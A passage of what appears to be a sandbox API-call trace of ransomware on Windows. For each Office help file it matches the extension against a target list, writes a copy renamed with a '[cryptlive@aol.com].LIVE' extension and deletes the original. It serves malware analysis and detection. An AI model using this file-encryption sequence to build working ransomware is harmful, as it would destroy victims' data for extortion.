57 [0142.865] lstrlenW (lpString=".jpg") returned 4 [0142.865] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0142.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0142.865] lstrlenW (lpString=".doc") returned 4 [0142.865] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.865] lstrlenW (lpString=".docx") returned 5 [0142.865] lstrcmpiW (lpString1=".docx", lpString2="B.HXS") returned -1 [0142.865] lstrlenW (lpString=".pdf") returned 4 [0142.865] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.866] lstrlenW (lpString=".xls") returned 4 [0142.866] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.866] lstrlenW (lpString=".xlsx") returned 5 [0142.866] lstrcmpiW (lpString1=".xlsx", lpString2="B.HXS") returned -1 [0142.866] lstrlenW (lpString=".ppt") returned 4 [0142.866] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0142.866] lstrlenW (lpString=".zip") returned 4 [0142.866] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.866] lstrlenW (lpString=".rar") returned 4 [0142.866] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0142.866] lstrlenW (lpString=".bz2") returned 4 [0142.866] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.866] lstrlenW (lpString=".7z") returned 3 [0142.866] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0142.866] lstrlenW (lpString=".dbf") returned 4 [0142.866] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0142.866] lstrlenW (lpString=".1cd") returned 4 [0142.866] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0142.866] lstrlenW (lpString=".jpg") returned 4 [0142.866] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.866] lstrcmpiW (lpString1=".OPG", lpString2=".LIVE") returned 1 [0142.866] lstrlenW (lpString="MSPUB.OPG") returned 9 [0142.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0143.340] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=12024) returned 1 [0143.340] CloseHandle (hObject=0x314) returned 1 [0143.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg")) returned 0x20 [0143.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0143.354] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.354] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.355] GetLastError () returned 0x0 [0143.355] ReadFile (in: hFile=0x394, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x2ef8, lpOverlapped=0x0) returned 1 [0143.371] WriteFile (in: hFile=0x328, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x2f00, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2f00, lpOverlapped=0x0) returned 1 [0143.372] ReadFile (in: hFile=0x394, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.372] WriteFile (in: hFile=0x328, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0143.372] SetEndOfFile (hFile=0x328) returned 1 [0143.600] CloseHandle (hObject=0x328) returned 1 [0143.600] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.600] SetEndOfFile (hFile=0x394) returned 1 [0143.602] CloseHandle (hObject=0x394) returned 1 [0143.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg")) returned 1 [0143.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.619] lstrlenW (lpString=".doc") returned 4 [0143.619] lstrcmpiW (lpString1=".doc", lpString2=".OPG") returned -1 [0143.619] lstrlenW (lpString=".docx") returned 5 [0143.619] lstrcmpiW (lpString1=".docx", lpString2="B.OPG") returned -1 [0143.620] lstrlenW (lpString=".pdf") returned 4 [0143.620] lstrcmpiW (lpString1=".pdf", lpString2=".OPG") returned 1 [0143.620] lstrlenW (lpString=".xls") returned 4 [0143.620] lstrcmpiW (lpString1=".xls", lpString2=".OPG") returned 1 [0143.620] lstrlenW (lpString=".xlsx") returned 5 [0143.620] lstrcmpiW (lpString1=".xlsx", lpString2="B.OPG") returned -1 [0143.620] lstrlenW (lpString=".ppt") returned 4 [0143.620] lstrcmpiW (lpString1=".ppt", lpString2=".OPG") returned 1 [0143.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.620] lstrlenW (lpString=".zip") returned 4 [0143.620] lstrcmpiW (lpString1=".zip", lpString2=".OPG") returned 1 [0143.620] lstrlenW (lpString=".rar") returned 4 [0143.620] lstrcmpiW (lpString1=".rar", lpString2=".OPG") returned 1 [0143.620] lstrlenW (lpString=".bz2") returned 4 [0143.620] lstrcmpiW (lpString1=".bz2", lpString2=".OPG") returned -1 [0143.620] lstrlenW (lpString=".7z") returned 3 [0143.620] lstrcmpiW (lpString1=".7z", lpString2="OPG") returned -1 [0143.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.620] lstrlenW (lpString=".dbf") returned 4 [0143.620] lstrcmpiW (lpString1=".dbf", lpString2=".OPG") returned -1 [0143.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.620] lstrlenW (lpString=".1cd") returned 4 [0143.620] lstrcmpiW (lpString1=".1cd", lpString2=".OPG") returned -1 [0143.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.620] lstrlenW (lpString=".jpg") returned 4 [0143.621] lstrcmpiW (lpString1=".jpg", lpString2=".OPG") returned -1 [0143.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.621] lstrlenW (lpString=".doc") returned 4 [0143.621] lstrcmpiW (lpString1=".doc", lpString2=".OPG") returned -1 [0143.621] lstrlenW (lpString=".docx") returned 5 [0143.621] lstrcmpiW (lpString1=".docx", lpString2="B.OPG") returned -1 [0143.621] lstrlenW (lpString=".pdf") returned 4 [0143.621] lstrcmpiW (lpString1=".pdf", lpString2=".OPG") returned 1 [0143.621] lstrlenW (lpString=".xls") returned 4 [0143.621] lstrcmpiW (lpString1=".xls", lpString2=".OPG") returned 1 [0143.621] lstrlenW (lpString=".xlsx") returned 5 [0143.621] lstrcmpiW (lpString1=".xlsx", lpString2="B.OPG") returned -1 [0143.621] lstrlenW (lpString=".ppt") returned 4 [0143.621] lstrcmpiW (lpString1=".ppt", lpString2=".OPG") returned 1 [0143.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.621] lstrlenW (lpString=".zip") returned 4 [0143.621] lstrcmpiW (lpString1=".zip", lpString2=".OPG") returned 1 [0143.621] lstrlenW (lpString=".rar") returned 4 [0143.621] lstrcmpiW (lpString1=".rar", lpString2=".OPG") returned 1 [0143.621] lstrlenW (lpString=".bz2") returned 4 [0143.621] lstrcmpiW (lpString1=".bz2", lpString2=".OPG") returned -1 [0143.621] lstrlenW (lpString=".7z") returned 3 [0143.621] lstrcmpiW (lpString1=".7z", lpString2="OPG") returned -1 [0143.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.621] lstrlenW (lpString=".dbf") returned 4 [0143.621] lstrcmpiW (lpString1=".dbf", lpString2=".OPG") returned -1 [0143.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.621] lstrlenW (lpString=".1cd") returned 4 [0143.621] lstrcmpiW (lpString1=".1cd", lpString2=".OPG") returned -1 [0143.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0143.621] lstrlenW (lpString=".jpg") returned 4 [0143.621] lstrcmpiW (lpString1=".jpg", lpString2=".OPG") returned -1 [0143.622] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0143.622] lstrlenW (lpString="MSTORE_COL.HXT") returned 14 [0143.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.622] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=206) returned 1 [0143.622] CloseHandle (hObject=0x2f8) returned 1 [0143.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt")) returned 0x20 [0143.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.623] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.623] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0143.624] GetLastError () returned 0x0 [0143.624] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xce, lpOverlapped=0x0) returned 1 [0143.625] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0143.626] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.626] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0143.626] SetEndOfFile (hFile=0x1ec) returned 1 [0143.626] CloseHandle (hObject=0x1ec) returned 1 [0143.626] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.626] SetEndOfFile (hFile=0x2f8) returned 1 [0143.629] CloseHandle (hObject=0x2f8) returned 1 [0143.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt")) returned 1 [0143.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.630] lstrlenW (lpString=".doc") returned 4 [0143.630] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0143.630] lstrlenW (lpString=".docx") returned 5 [0143.630] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0143.630] lstrlenW (lpString=".pdf") returned 4 [0143.630] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0143.630] lstrlenW (lpString=".xls") returned 4 [0143.630] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0143.630] lstrlenW (lpString=".xlsx") returned 5 [0143.630] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0143.630] lstrlenW (lpString=".ppt") returned 4 [0143.630] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0143.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.630] lstrlenW (lpString=".zip") returned 4 [0143.630] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0143.630] lstrlenW (lpString=".rar") returned 4 [0143.630] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0143.630] lstrlenW (lpString=".bz2") returned 4 [0143.630] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0143.630] lstrlenW (lpString=".7z") returned 3 [0143.630] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0143.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.630] lstrlenW (lpString=".dbf") returned 4 [0143.630] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0143.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.630] lstrlenW (lpString=".1cd") returned 4 [0143.630] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0143.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.630] lstrlenW (lpString=".jpg") returned 4 [0143.630] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0143.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.631] lstrlenW (lpString=".doc") returned 4 [0143.631] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0143.631] lstrlenW (lpString=".docx") returned 5 [0143.631] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0143.631] lstrlenW (lpString=".pdf") returned 4 [0143.631] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0143.631] lstrlenW (lpString=".xls") returned 4 [0143.631] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0143.631] lstrlenW (lpString=".xlsx") returned 5 [0143.631] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0143.631] lstrlenW (lpString=".ppt") returned 4 [0143.631] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0143.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.631] lstrlenW (lpString=".zip") returned 4 [0143.631] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0143.631] lstrlenW (lpString=".rar") returned 4 [0143.631] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0143.631] lstrlenW (lpString=".bz2") returned 4 [0143.631] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0143.631] lstrlenW (lpString=".7z") returned 3 [0143.631] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0143.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.631] lstrlenW (lpString=".dbf") returned 4 [0143.631] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0143.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.631] lstrlenW (lpString=".1cd") returned 4 [0143.631] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0143.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0143.631] lstrlenW (lpString=".jpg") returned 4 [0143.631] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0143.631] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0143.631] lstrlenW (lpString="MSTORE_F_COL.HXK") returned 16 [0143.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.632] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=114) returned 1 [0143.632] CloseHandle (hObject=0x2f8) returned 1 [0143.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk")) returned 0x20 [0143.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.632] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.633] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0143.633] GetLastError () returned 0x0 [0143.633] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x72, lpOverlapped=0x0) returned 1 [0143.634] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0143.635] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.635] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0143.635] SetEndOfFile (hFile=0x1ec) returned 1 [0143.635] CloseHandle (hObject=0x1ec) returned 1 [0143.635] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.635] SetEndOfFile (hFile=0x2f8) returned 1 [0143.638] CloseHandle (hObject=0x2f8) returned 1 [0143.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk")) returned 1 [0143.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.639] lstrlenW (lpString=".doc") returned 4 [0143.639] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.639] lstrlenW (lpString=".docx") returned 5 [0143.639] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.639] lstrlenW (lpString=".pdf") returned 4 [0143.639] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.639] lstrlenW (lpString=".xls") returned 4 [0143.639] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.639] lstrlenW (lpString=".xlsx") returned 5 [0143.639] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.639] lstrlenW (lpString=".ppt") returned 4 [0143.639] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.639] lstrlenW (lpString=".zip") returned 4 [0143.639] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.639] lstrlenW (lpString=".rar") returned 4 [0143.640] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.640] lstrlenW (lpString=".bz2") returned 4 [0143.640] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.640] lstrlenW (lpString=".7z") returned 3 [0143.640] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.640] lstrlenW (lpString=".dbf") returned 4 [0143.640] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.640] lstrlenW (lpString=".1cd") returned 4 [0143.640] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.640] lstrlenW (lpString=".jpg") returned 4 [0143.640] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.640] lstrlenW (lpString=".doc") returned 4 [0143.640] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.640] lstrlenW (lpString=".docx") returned 5 [0143.640] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.640] lstrlenW (lpString=".pdf") returned 4 [0143.640] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.640] lstrlenW (lpString=".xls") returned 4 [0143.640] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.640] lstrlenW (lpString=".xlsx") returned 5 [0143.640] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.640] lstrlenW (lpString=".ppt") returned 4 [0143.640] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.640] lstrlenW (lpString="C:\\Program 